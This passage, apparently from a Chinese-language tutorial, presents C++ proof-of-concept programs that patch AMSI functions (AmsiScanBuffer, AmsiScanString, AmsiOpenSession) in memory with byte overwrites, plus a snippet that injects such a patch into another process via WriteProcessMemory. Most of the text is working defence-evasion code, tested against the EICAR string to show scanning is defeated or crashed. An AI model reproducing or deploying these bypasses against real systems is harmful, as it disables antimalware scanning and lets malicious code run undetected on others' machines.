if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "[-] Short JMP Patch: VirtualProtect failed. Error: " << GetLastError() << std::endl;
FreeLibrary(g_hAmsiModule_EB);
g_hAmsiModule_EB = NULL;
g_pAmsiScanBuffer_EB = NULL;
g_originalFirstByte_EB = 0;
return false;
}
if (!WriteProcessMemory(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, jumpPatch, sizeof(jumpPatch), &bytesWritten) || bytesWritten != sizeof(jumpPatch)) {
std::cerr << "[-] Short JMP Patch: WriteProcessMemory failed. Error: " << GetLastError() << std::endl;
VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), oldProtect, &oldProtect); // Try to restore protection
FreeLibrary(g_hAmsiModule_EB);
g_hAmsiModule_EB = NULL;
g_pAmsiScanBuffer_EB = NULL;
g_originalFirstByte_EB = 0;
return false;
}
std::cout << "[+] Short JMP Patch: Wrote 0xEB to AmsiScanBuffer." << std::endl;
DWORD tempProtect;
if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), oldProtect, &tempProtect)) {
std::cerr << "[-] Short JMP Patch: Warning - Failed to restore protection after write. Error: " << GetLastError() << std::endl;
}
FlushInstructionCache(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch));
std::cout << "[+] Short JMP Patch: Instruction cache flushed." << std::endl;
return true;
}
int main() {
if (!PatchAmsiWithShortJmp()) {
std::cerr << "[-] Failed to apply the Short JMP (0xEB) patch." << std::endl;
if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
return 1;
}
// Test the 0xEB patch
HAMSICONTEXT amsiContext_eb = NULL;
AMSI_RESULT scanResult_eb = AMSI_RESULT_NOT_DETECTED;
HRESULT hrScan_eb;
bool crashed_eb = false;
AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(g_hAmsiModule_EB, "AmsiInitialize");
AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(g_hAmsiModule_EB, "AmsiUninitialize");
AmsiScanBuffer_t pPatchedAmsiScanBuffer = (AmsiScanBuffer_t)g_pAmsiScanBuffer_EB; // Address is already patched
if (!pAmsiInitialize || !pAmsiUninitialize || !pPatchedAmsiScanBuffer) {
std::cerr << "[-] Short JMP Test: Failed to get AMSI function pointers after patch." << std::endl;
RestoreAmsiShortJmpPatch();
if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
return 1;
}
HRESULT hrInit = pAmsiInitialize(L"AMSI_EB_Patch_Test", &amsiContext_eb);
if (FAILED(hrInit)) {
std::cerr << "[-] Short JMP Test: AmsiInitialize failed. HRESULT: 0x" << std::hex << hrInit << std::dec << std::endl;
RestoreAmsiShortJmpPatch();
if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
return 1;
}
std::cout << "[+] Short JMP Test: AMSI Initialized." << std::endl;
std::cout << "[+] Short JMP Test: Attempting to call patched AmsiScanBuffer (EXPECT CRASH)..." << std::endl;
const char* eicarTestString = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
hrScan_eb = CallPatchedAmsiScanBuffer_SEH(
pPatchedAmsiScanBuffer,
amsiContext_eb,
(PVOID)eicarTestString,
(ULONG)strlen(eicarTestString),
L"EICAR_Test_EB_Patched",
NULL,
&scanResult_eb,
&crashed_eb
);
if (crashed_eb) {
std::cout << "[+] Short JMP Test: Call to patched AmsiScanBuffer CRASHED as expected." << std::endl;
}
else {
std::cout << "[-] Short JMP Test: Call to patched AmsiScanBuffer DID NOT CRASH (unexpected for this patch)." << std::endl;
std::cout << " HRESULT: 0x" << std::hex << hrScan_eb << std::dec << ", AMSI_RESULT: " << scanResult_eb << std::endl;
}
if (amsiContext_eb) {
pAmsiUninitialize(amsiContext_eb);
std::cout << "[+] Short JMP Test: AMSI Uninitialized." << std::endl;
}
RestoreAmsiShortJmpPatch();
if (g_hAmsiModule_EB) {
FreeLibrary(g_hAmsiModule_EB);
std::cout << "[+] Short JMP Test: amsi.dll freed." << std::endl;
g_hAmsiModule_EB = NULL;
}
g_pAmsiScanBuffer_EB = NULL;
std::cout << "\n--- Test Summary (Short JMP 0xEB Patch) ---" << std::endl;
if (crashed_eb) {
std::cout << "RESULT: PASS - The 0xEB patch caused the expected crash, demonstrating its destabilizing effect." << std::endl;
return 0;
}
else {
std::cout << "RESULT: FAIL - The 0xEB patch did not cause a crash, which is unexpected. Further investigation needed." << std::endl;
return 1;
}
}

**Instruction Overwriting **
简单的中和指令覆盖函数 start
unsigned char nopPatch[] = {0x48, 0x31, 0xC0}; // XOR RAX, RAX
WriteProcessMemory(GetCurrentProcess(), functionAddr, nopPatch, sizeof(nopPatch), NULL);
- nopPatch 包含指令 XOR RAX, RAX(机器码为 48 31 C0)。
- 该指令清除 RAX 寄存器,该寄存器通常用于 x64 调用约定中的返回值。
- 通过清除 RAX,我们确保函数始终返回 0,表示成功并绕过扫描。
POC:
#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>
#pragma comment(lib, "amsi.lib")
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiOpenSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession);
typedef void (WINAPI* AmsiCloseSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
typedef HRESULT(WINAPI* AmsiScanString_t)(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
const WCHAR* EICAR_STRING_WIDE = L"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
HRESULT CallPatchedAmsiScanString_SEH(
AmsiScanString_t pActualAmsiScanString,
HAMSICONTEXT amsiContext,
LPCWSTR stringToScan,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* outScanResult,
bool* outCrashed
) {
*outCrashed = false;
HRESULT hr = E_FAIL;
__try {
hr = pActualAmsiScanString(amsiContext, stringToScan, contentName, amsiSession, outScanResult);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DWORD exceptionCode = GetExceptionCode();
std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanString_SEH !!!" << std::endl;
std::cerr << " Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
*outCrashed = true;
hr = HRESULT_FROM_WIN32(exceptionCode);
if (outScanResult) { // Safety check
*outScanResult = AMSI_RESULT_NOT_DETECTED;
}
}
return hr;
}
int main() {
HRESULT hr = S_OK;
HMODULE amsiDll = NULL;
AmsiInitialize_t pAmsiInitialize = NULL;
AmsiUninitialize_t pAmsiUninitialize = NULL;
AmsiOpenSession_t pAmsiOpenSession = NULL;
AmsiCloseSession_t pAmsiCloseSession = NULL;
AmsiScanString_t pAmsiScanStringFunc = NULL;
FARPROC functionAddr = NULL;
HAMSICONTEXT amsiContext = NULL;
HAMSISESSION amsiSession = NULL;
AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN;
HRESULT hrScanBefore = S_OK;
HRESULT hrScanAfter = S_OK;
// Patch: XOR EAX, EAX; RET (0x31, 0xC0, 0xC3)
unsigned char patch[] = { 0x31, 0xC0, 0xC3 };
const HRESULT EXPECTED_PATCHED_HRESULT = S_OK; // 0x00000000
std::vector<unsigned char> originalBytes(sizeof(patch));
DWORD oldProtect = 0;
SIZE_T bytesWritten = 0;
SIZE_T bytesRead = 0;
bool patchAppliedSuccessfully = false;
bool crashedDuringPatchedCall = false;
std::cout << "--- AMSI Patch Test (AmsiScanString: XOR EAX, EAX; RET) ---" << std::endl;
// 1. Load amsi.dll
amsiDll = LoadLibraryA("amsi.dll");
if (!amsiDll) { std::cerr << "Failed to load amsi.dll: " << GetLastError() << std::endl; return 1; }
std::cout << "[+] Loaded amsi.dll" << std::endl;
// 2. Get function addresses
pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
pAmsiOpenSession = (AmsiOpenSession_t)GetProcAddress(amsiDll, "AmsiOpenSession");
pAmsiCloseSession = (AmsiCloseSession_t)GetProcAddress(amsiDll, "AmsiCloseSession");
functionAddr = GetProcAddress(amsiDll, "AmsiScanString");
pAmsiScanStringFunc = (AmsiScanString_t)functionAddr;
if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiOpenSession || !pAmsiCloseSession || !pAmsiScanStringFunc) {
std::cerr << "Failed to get AMSI function addresses: " << GetLastError() << std::endl;
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] Got AMSI function addresses. AmsiScanString at 0x" << std::hex << (void*)functionAddr << std::dec << std::endl;
// 3. Initialize AMSI
hr = pAmsiInitialize(L"AMSI_Ret0_ScanString_Test", &amsiContext);
if (FAILED(hr)) { std::cerr << "AmsiInitialize failed: 0x" << std::hex << hr << std::endl; FreeLibrary(amsiDll); return 1; }
std::cout << "[+] AmsiInitialize succeeded." << std::endl;
// 4. Open AMSI Session
hr = pAmsiOpenSession(amsiContext, &amsiSession);
if (FAILED(hr)) { std::cerr << "AmsiOpenSession failed: 0x" << std::hex << hr << std::endl; pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1; }
std::cout << "[+] AmsiOpenSession succeeded." << std::endl;
// 5. (Optional) Scan *before* patching
std::cout << "\n--- Scanning EICAR (wide) *before* patch ---" << std::endl;
hrScanBefore = pAmsiScanStringFunc(amsiContext, EICAR_STRING_WIDE, L"EICAR Test Original (Wide)", amsiSession, &scanResultBefore);
if (SUCCEEDED(hrScanBefore)) {
std::cout << "[+] AmsiScanString (original) call succeeded." << std::endl;
std::cout << " Scan Result: " << scanResultBefore << " (0=Clean, 1=NotDetected, >=32768=Detected)" << std::endl;
if (AmsiResultIsMalware(scanResultBefore)) {
std::cout << " Expected: EICAR string detected as malware." << std::endl;
}
else {
std::cout << " Warning: EICAR string was *not* detected by original function." << std::endl;
}
}
else {
std::cerr << " Warning: AmsiScanString (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
}
// --- Apply the Patch ---
std::cout << "\n--- Applying Patch (XOR EAX, EAX; RET) to AmsiScanString ---" << std::endl;
// 6. Make memory writable, save original bytes
if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "VirtualProtect (for write) failed: " << GetLastError() << std::endl;
pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE." << std::endl;
if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesRead) || bytesRead != sizeof(patch)) {
std::cerr << "ReadProcessMemory (read original) failed: " << GetLastError() << std::endl;
VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
std::cout << "[+] Successfully read original " << bytesRead << " bytes." << std::endl;
// 7. Apply the patch
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, patch, sizeof(patch), &bytesWritten) && bytesWritten == sizeof(patch)) {
patchAppliedSuccessfully = true;
std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " bytes (XOR EAX,EAX; RET)." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, sizeof(patch));
std::cout << "[+] Flushed instruction cache." << std::endl;
}
else {
std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
if (bytesRead == sizeof(patch)) { WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), sizeof(patch), NULL); }
VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
// --- Test the Patched Function ---
std::cout << "\n--- Scanning EICAR (wide) *after* patch ---" << std::endl;
// 8. Call the patched function using SEH helper
hrScanAfter = CallPatchedAmsiScanString_SEH(
pAmsiScanStringFunc,
amsiContext,
EICAR_STRING_WIDE,
L"EICAR Test Patched (Wide)",
amsiSession,
&scanResultAfter,
&crashedDuringPatchedCall
);
bool testPassed = false;
if (!crashedDuringPatchedCall) {
std::cout << "[+] Patched AmsiScanString call completed." << std::endl;
std::cout << " Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
std::cout << " Expected HRESULT for bypass: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << " (S_OK)" << std::endl;
std::cout << " Output AMSI_RESULT: " << scanResultAfter << std::endl;
// 9. Check results
if (hrScanAfter == EXPECTED_PATCHED_HRESULT) {
std::cout << " HRESULT matches S_OK." << std::endl;
// For this patch, scanResultAfter might be uninitialized or 0.
// If it's 0 (AMSI_RESULT_CLEAN) or 1 (AMSI_RESULT_NOT_DETECTED), the bypass is effective.
if (!AmsiResultIsMalware(scanResultAfter)) {
std::cout << " AMSI_RESULT indicates not malware (e.g., " << AMSI_RESULT_CLEAN << " or " << AMSI_RESULT_NOT_DETECTED << ")." << std::endl;
testPassed = true;
}
else {
std::cout << " WARNING: HRESULT S_OK, but AMSI_RESULT still indicates malware (" << scanResultAfter << "). Patch may not fully bypass detection logic for the result parameter." << std::endl;
}
}
}
else {
std::cout << " The call to patched AmsiScanString CRASHED." << std::endl;
}
// --- Cleanup ---
std::cout << "\n--- Cleaning Up ---" << std::endl;
// 10. Restore the original bytes
if (patchAppliedSuccessfully) {
// Memory protection is likely still PAGE_EXECUTE_READWRITE.
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
std::cout << "[+] Restored original bytes to AmsiScanString." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.size());
std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
}
else {
std::cerr << "Error: Failed to restore original bytes: " << GetLastError() << std::endl;
}
// Restore original memory protection
DWORD tempOldProtect;
if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &tempOldProtect)) { // Use 'oldProtect' captured before patching
std::cerr << "Error: Failed to restore original memory protection: " << GetLastError() << std::endl;
}
else {
std::cout << "[+] Restored original memory protection." << std::endl;
}
}
// 11. Close Session
if (amsiSession) {
pAmsiCloseSession(amsiContext, amsiSession);
std::cout << "[+] AmsiCloseSession called." << std::endl;
}
// 12. Uninitialize AMSI
if (amsiContext) {
pAmsiUninitialize(amsiContext);
std::cout << "[+] AmsiUninitialize called." << std::endl;
}
// 13. Free the library
if (amsiDll) {
FreeLibrary(amsiDll);
std::cout << "[+] Freed amsi.dll" << std::endl;
}
// 14. Print final result
std::cout << "\n--- Test Result ---" << std::endl;
if (crashedDuringPatchedCall) {
std::cout << "FAIL: The patch caused AmsiScanString to CRASH." << std::endl;
return 1;
}
else if (testPassed) {
std::cout << "PASS: Patched AmsiScanString returned S_OK and EICAR was not flagged as malware." << std::endl;
std::cout << " This suggests the patch successfully bypassed AMSI for this string." << std::endl;
return 0;
}
else {
std::cout << "FAIL: Patched AmsiScanString did not behave as a clean S_OK bypass or conditions not fully met." << std::endl;
std::cout << " HRESULT: 0x" << std::hex << hrScanAfter << std::dec
<< ", AMSI_RESULT: " << scanResultAfter << std::dec << std::endl;
return 1;
}
}

Remote Process Injection
允许在不同的进程中修补 AMSI
HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
FARPROC functionAddr = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiOpenSession");
unsigned char bypass[] = {0x48, 0x31, 0xC0};
WriteProcessMemory(hProc, (LPVOID)functionAddr, bypass, sizeof(bypass), NULL);
CloseHandle(hProc);
- OpenProcess() 获取目标进程的句柄
- AMSI DLL 中找到 AmsiOpenSession 函数
- XOR RAX, RAX 指令
- WriteProcessMemory() 将此代码注入目标进程的内存空间
- 关闭进程句柄清理资源
POC:
// Target.cpp
#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <string>
#pragma comment(lib, "amsi.lib")
// Define function pointer types
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiOpenSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession);
typedef void (WINAPI* AmsiCloseSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
int main() {
std::cout << "Target Process Started. PID: " << GetCurrentProcessId() << std::endl;
std::cout << "Ensure amsi.dll is loaded before patcher attempts to find AmsiOpenSession." << std::endl;
HMODULE amsiDll = LoadLibraryA("amsi.dll");
if (!amsiDll) {
std::cerr << "Target: Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "Target: amsi.dll loaded at 0x" << std::hex << (void*)amsiDll << std::dec << std::endl;
AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
AmsiOpenSession_t pAmsiOpenSession = (AmsiOpenSession_t)GetProcAddress(amsiDll, "AmsiOpenSession");
AmsiCloseSession_t pAmsiCloseSession = (AmsiCloseSession_t)GetProcAddress(amsiDll, "AmsiCloseSession");
if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiOpenSession || !pAmsiCloseSession) {
std::cerr << "Target: Failed to get AMSI function addresses. Error: " << GetLastError() << std::endl;
FreeLibrary(amsiDll);
return 1;
}
HAMSICONTEXT amsiContext = NULL;
HAMSISESSION amsiSession = NULL;
HRESULT hr;
hr = pAmsiInitialize(L"TargetApp", &amsiContext);
if (FAILED(hr)) {
std::cerr << "Target: AmsiInitialize failed. HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
FreeLibrary(amsiDll);
return 1;
}
std::cout << "Target: AmsiInitialize succeeded." << std::endl;
std::cout << "\nTarget: Press Enter to attempt first AmsiOpenSession (should be unpatched)..." << std::endl;
std::cin.get();
hr = pAmsiOpenSession(amsiContext, &amsiSession);
std::cout << "Target: First AmsiOpenSession call HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
if (SUCCEEDED(hr) && amsiSession) {
std::cout << "Target: First AmsiOpenSession succeeded, session handle: 0x" << std::hex << amsiSession << std::dec << std::endl;
pAmsiCloseSession(amsiContext, amsiSession); // Close it immediately
amsiSession = NULL;
}
else {
std::cout << "Target: First AmsiOpenSession failed or returned null session." << std::endl;
}
std::cout << "\nTarget: Patcher should run now and apply the patch to AmsiOpenSession." << std::endl;
std::cout << "Target: After patcher confirms, press Enter to attempt second AmsiOpenSession (EXPECTING CRASH OR UNSTABLE BEHAVIOR)..." << std::endl;
std::cin.get();
std::cout << "Target: Attempting second AmsiOpenSession call (post-patch)..." << std::endl;
// This call is very likely to crash due to the incomplete patch
__try {
hr = pAmsiOpenSession(amsiContext, &amsiSession); // This is the patched call
std::cout << "Target: Second AmsiOpenSession call HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
if (SUCCEEDED(hr) && amsiSession) {
std::cout << "Target: Second AmsiOpenSession succeeded (unexpected for this patch!), session handle: 0x" << std::hex << amsiSession << std::dec << std::endl;
// If it miraculously worked and returned a valid session, try to close it.
pAmsiCloseSession(amsiContext, amsiSession);
amsiSession = NULL;
}
else if (SUCCEEDED(hr) && !amsiSession) {
std::cout << "Target: Second AmsiOpenSession returned S_OK, but session is NULL (as expected if only RAX=0 was set)." << std::endl;
}
else {
std::cout << "Target: Second AmsiOpenSession failed." << std::endl;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
std::cerr << "Target: CRASHED during second AmsiOpenSession call as expected! Exception code: 0x"
<< std::hex << GetExceptionCode() << std::dec << std::endl;
}
if (amsiContext) {
pAmsiUninitialize(amsiContext);
std::cout << "Target: AmsiUninitialize called." << std::endl;
}
if (amsiDll) {
FreeLibrary(amsiDll);
std::cout << "Target: amsi.dll freed." << std::endl;
}
std::cout << "Target: Exiting. Press Enter." << std::endl;
std::cin.get();
return 0;
}

**Function Hooking **
将 AMSI 函数重定向到自定义实现
FARPROC amsiScanAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
unsigned char hook[] = {0xE9};
WriteProcessMemory(GetCurrentProcess(), amsiScanAddr, hook, sizeof(hook), NULL);
- AmsiScanBuffer 函数。
- 0xE9,这是 x86/x64 汇编中近跳转的操作码。
- 需要计算并写入跳转偏移量,以重定向到自定义函数。
POC:
#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>
#pragma comment(lib, "amsi.lib")
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
const char* EICAR_STRING = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
HRESULT CallPatchedAmsiScanBuffer_SEH(
AmsiScanBuffer_t pActualAmsiScanBuffer,
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* outScanResult,
bool* outCrashed
) {
*outCrashed = false;
HRESULT hr = E_FAIL;
__try {
hr = pActualAmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, outScanResult);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DWORD exceptionCode = GetExceptionCode();
std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanBuffer_SEH !!!" << std::endl;
std::cerr << " Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
*outCrashed = true;
hr = HRESULT_FROM_WIN32(exceptionCode);
if (outScanResult) {
*outScanResult = AMSI_RESULT_NOT_DETECTED;
}
}
return hr;
}
int main() {
HRESULT hr = S_OK;
HMODULE amsiDll = NULL;
AmsiInitialize_t pAmsiInitialize = NULL;
AmsiUninitialize_t pAmsiUninitialize = NULL;
AmsiScanBuffer_t pAmsiScanBufferFunc = NULL;
FARPROC amsiScanAddr = NULL;
HAMSICONTEXT amsiContext = NULL;
AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN;
HRESULT hrScanBefore = S_OK;
HRESULT hrScanAfter = S_OK;
// The single-byte patch (incomplete JMP rel32)
unsigned char hook[] = { 0xE9 };
std::vector<unsigned char> originalBytes(sizeof(hook));
DWORD oldProtect = 0;
SIZE_T bytesWritten = 0;
SIZE_T bytesRead = 0;
bool patchAppliedSuccessfully = false;
bool crashedDuringPatchedCall = false;
std::cout << "--- AMSI Patch Test (AmsiScanBuffer: JMP E9 - Incomplete) ---" << std::endl;
// 1. Load amsi.dll
amsiDll = LoadLibraryA("amsi.dll");
if (!amsiDll) { std::cerr << "Failed to load amsi.dll: " << GetLastError() << std::endl; return 1; }
std::cout << "[+] Loaded amsi.dll" << std::endl;
// 2. Get function addresses
pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
amsiScanAddr = GetProcAddress(amsiDll, "AmsiScanBuffer"); // Address for patching
pAmsiScanBufferFunc = (AmsiScanBuffer_t)amsiScanAddr; // Cast for calling
if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiScanBufferFunc) {
std::cerr << "Failed to get AMSI function addresses: " << GetLastError() << std::endl;
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] Got AMSI function addresses. AmsiScanBuffer at 0x" << std::hex << (void*)amsiScanAddr << std::dec << std::endl;
// 3. Initialize AMSI
hr = pAmsiInitialize(L"AMSI_E9_Crash_Test", &amsiContext);
if (FAILED(hr)) { std::cerr << "AmsiInitialize failed: 0x" << std::hex << hr << std::endl; FreeLibrary(amsiDll); return 1; }
std::cout << "[+] AmsiInitialize succeeded." << std::endl;
// 4. (Optional) Scan *before* patching
std::cout << "\n--- Scanning EICAR *before* patch ---" << std::endl;
hrScanBefore = pAmsiScanBufferFunc(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test Original", NULL, &scanResultBefore);
if (SUCCEEDED(hrScanBefore)) {
std::cout << "[+] AmsiScanBuffer (original) call succeeded." << std::endl;
std::cout << " Scan Result: " << scanResultBefore << std::endl;
if (AmsiResultIsMalware(scanResultBefore)) std::cout << " Expected: EICAR detected." << std::endl;
else std::cout << " Warning: EICAR *not* detected by original." << std::endl;
}
else {
std::cerr << " Warning: AmsiScanBuffer (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
}
// --- Apply the Patch ---
std::cout << "\n--- Applying Patch (0xE9 to first byte of AmsiScanBuffer) ---" << std::endl;
// 5. Make memory writable, save original byte(s)
if (!VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "VirtualProtect (for write) failed: " << GetLastError() << std::endl;
pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE for " << sizeof(hook) << " byte(s)." << std::endl;
if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)amsiScanAddr, originalBytes.data(), sizeof(hook), &bytesRead) || bytesRead != sizeof(hook)) {
std::cerr << "ReadProcessMemory (read original) failed: " << GetLastError() << std::endl;
VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &oldProtect);
pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
std::cout << "[+] Successfully read original " << bytesRead << " byte(s): ";
for (size_t i = 0; i < originalBytes.size(); ++i) std::cout << "0x" << std::hex << (int)originalBytes[i] << " ";
std::cout << std::dec << std::endl;
// 6. Apply the patch
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, hook, sizeof(hook), &bytesWritten) && bytesWritten == sizeof(hook)) {
patchAppliedSuccessfully = true;
std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " byte(s) (0xE9)." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)amsiScanAddr, sizeof(hook));
std::cout << "[+] Flushed instruction cache." << std::endl;
}
else {
std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
if (bytesRead == sizeof(hook)) { WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, originalBytes.data(), sizeof(hook), NULL); }
VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &oldProtect);
pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
}
// --- Test the Patched Function ---
std::cout << "\n--- Calling Patched AmsiScanBuffer (HIGHLY LIKELY TO CRASH) ---" << std::endl;
std::cout << "The JMP E9 instruction is incomplete and will read subsequent bytes as an offset." << std::endl;
// 7. Call the patched function using SEH helper
hrScanAfter = CallPatchedAmsiScanBuffer_SEH(
pAmsiScanBufferFunc,
amsiContext,
(PVOID)EICAR_STRING,
(ULONG)strlen(EICAR_STRING),
L"EICAR Test Patched (E9)",
NULL,
&scanResultAfter,
&crashedDuringPatchedCall
);
if (!crashedDuringPatchedCall) {
std::cout << "[+] SURPRISING! Patched AmsiScanBuffer call completed without crashing." << std::endl;
std::cout << " Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
std::cout << " Output AMSI_RESULT: " << scanResultAfter << std::endl;
std::cout << " This is highly unexpected for this specific patch." << std::endl;
}
else {
std::cout << " The call to patched AmsiScanBuffer CRASHED, as caught by the SEH helper." << std::endl;
std::cout << " This is the expected behavior for this incomplete patch." << std::endl;
}
// --- Cleanup ---
std::cout << "\n--- Cleaning Up ---" << std::endl;
// 8. Restore the original byte(s)
if (patchAppliedSuccessfully) {
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
std::cout << "[+] Restored original byte(s) to AmsiScanBuffer." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)amsiScanAddr, originalBytes.size());
std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
}
else {
std::cerr << "Error: Failed to restore original byte(s): " << GetLastError() << std::endl;
}
DWORD tempOldProtect;
if (!VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &tempOldProtect)) {
std::cerr << "Error: Failed to restore original memory protection: " << GetLastError() << std::endl;
}
else {
